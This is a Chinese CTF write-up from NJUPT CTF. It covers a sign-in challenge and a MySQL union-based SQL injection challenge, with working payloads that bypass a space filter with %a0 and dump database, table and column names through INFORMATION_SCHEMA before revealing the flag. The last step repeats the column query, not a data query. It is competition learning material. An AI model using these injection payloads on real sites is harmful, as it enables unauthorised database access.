前些天国光老哥在群里问有没有打NJUPT CTF的校外和他组队然后问了问光光老哥说是面向校外不能太简单但是对新手也不会太不友好然后就本着去学东西练习的态度抱老哥的大腿去（嘻嘻）最后果然校外队第九咳咳虽然我只是观众大佬们都很强哟但是也不希望自己一直都是观众所以特此总结一些题希望以后越来越🐮🍺

签到题

满怀自信的右键源代码然后发现并没有flag 最后大佬们发现直接访问主域名老把精力放在了secret.php 这上面

滴！晨跑打卡

这道题是自己复习的重点了

点进去知道考察的是 mysql 注入但是当时自己就是搞不出来还差的远事后又请教了国光老哥

验证注入是否存在

验证时候发现过滤了空格用%a0即可绕过

'%a0||'1

这里直接查询出所有的数据了

如果没有这个语句的话默认只查询出1条数据

‘ or ‘1 相当于构造出一个用真的条件

开始进行注入

咳咳大佬语录记录一下！借助hackbar可以进行快速的注入

判断注入的字段数

1
2
3

'%a0union%a0select%a01,2,3||'1  
'             union select 1,2,3       ||'1
闭合前面的引号  核心语句 查报错的字段数      构造用真条件 闭合后面语句

所有数据库

1	http://ctfgame.acdxvfsvd.net:20001/index.php?id=1%27%a0UNION%a0SELECT%a0(SELECT%a0GROUP_CONCAT(schema_name%a0SEPARATOR%a00x3c62723e)%a0FROM%a0INFORMATION_SCHEMA.SCHEMATA),2,3\|\|%271

咳咳根据我多年打酱油的经验

查询flaaaaaaag数据库下面的表

http://ctfgame.acdxvfsvd.net:20001/index.php?id=1%27%a0UNION%a0SELECT%a0(SELECT%a0GROUP_CONCAT(table_name%a0SEPARATOR%a00x3c62723e)%a0FROM%a0INFORMATION_SCHEMA.TABLES%a0WHERE%a0TABLE_SCHEMA=0x666c6161616161616167),2,3||%271

f144444444g

查询列名

http://ctfgame.acdxvfsvd.net:20001/index.php?id=1%27%a0UNION%a0SELECT%a0(SELECT%a0GROUP_CONCAT(column_name%a0SEPARATOR%a00x3c62723e)%a0FROM%a0INFORMATION_SCHEMA.COLUMNS%a0WHERE%a0TABLE_NAME=0x6631343434343434343467),2,3||%271

查出数据

http://ctfgame.acdxvfsvd.net:20001/index.php?id=1%27%a0UNION%a0SELECT%a0(SELECT%a0GROUP_CONCAT(column_name%a0SEPARATOR%a00x3c62723e)%a0FROM%a0INFORMATION_SCHEMA.COLUMNS%a0WHERE%a0TABLE_NAME=0x6631343434343434343467),2,3||%271

nctf{this_1s_paocao_sqllllll}